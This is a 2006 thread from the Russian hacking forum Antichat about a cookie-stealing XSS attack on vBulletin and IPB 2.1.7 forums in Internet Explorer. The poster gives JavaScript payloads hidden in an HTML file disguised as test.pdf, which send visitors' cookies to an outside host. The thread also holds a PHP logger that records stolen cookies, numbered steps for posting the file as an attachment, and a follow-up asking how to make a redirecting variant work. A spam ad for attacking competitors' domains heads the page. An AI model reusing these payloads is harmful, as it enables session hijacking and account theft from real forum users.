Форум АНТИЧАТ - XSS vbulletin and IPB v2.1.7 With IE

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
XSS vbulletin and IPB v2.1.7 With IE

Опции темы

Поиск в этой теме

Опции просмотра

XSS vbulletin and IPB v2.1.7 With IE

06.08.2006, 10:42

liauliau

Новичок

Регистрация: 09.04.2005

Сообщений: 29

Провел на форуме:
438995

Репутация: 17

XSS vbulletin and IPB v2.1.7 With IE

XSS vbulletin and IPB v2.1.7 With IE

test:<html><script> alert("hello");</script></html>

-----------------------------------------------------------------

test.pdf
------

Код:

<html><script>img = new Image(); img.src = "http://blablabla.org/c.php?c="+document.cookie;</script></html>

c.php
-----

Код:

<?php 
 $cookie = $_GET['c']; 
 $ip = getenv ('REMOTE_ADDR'); 
 $date=date("m/d/Y g:i:s a"); 
 $referer= getenv ('HTTP_REFERER'); 
 $fl = fopen('log.txt', 'a'); 
 fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer."\n".$cookie."\n"); 
 fclose($fl); 
?>

1_ Пишут test.pdf и c.php
2_ Помещенный c.php на webserver.
3_ Изменяют(Заменяют) url в test.pdf.
4_ Делают пост с test.pdf как attachement.
5_, когда кто - то будет смотреть на ваш attachement, Вы получите его печенье в log.txt

Лог сниффера

Код:

<html>
<script>img = new Image(); img.src ="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
</html>

Последний раз редактировалось liauliau; 06.08.2006 в 10:48..

06.08.2006, 11:31

liauliau

Новичок

Регистрация: 09.04.2005

Сообщений: 29

Провел на форуме:
438995

Репутация: 17

ребята как заставить его работать ?

Код:

<html>
<script> 
document.write('<img src="http://blablabla.org/c.php?c='+document.cookie+'" WIDTH=0 HEIGHT=0>'); 
document.location.href="https://www.google.com/adsense/testmagic.pdf"; 
</script>
</html>

или

Код:

<html>
<script> 
document.write('<img src="http://antichat.ru/cgi-bin/s.jpg?'+document.cookie+'" WIDTH=0 HEIGHT=0>'); 
document.location.href="https://www.google.com/adsense/testmagic.pdf"; 
</script>
</html>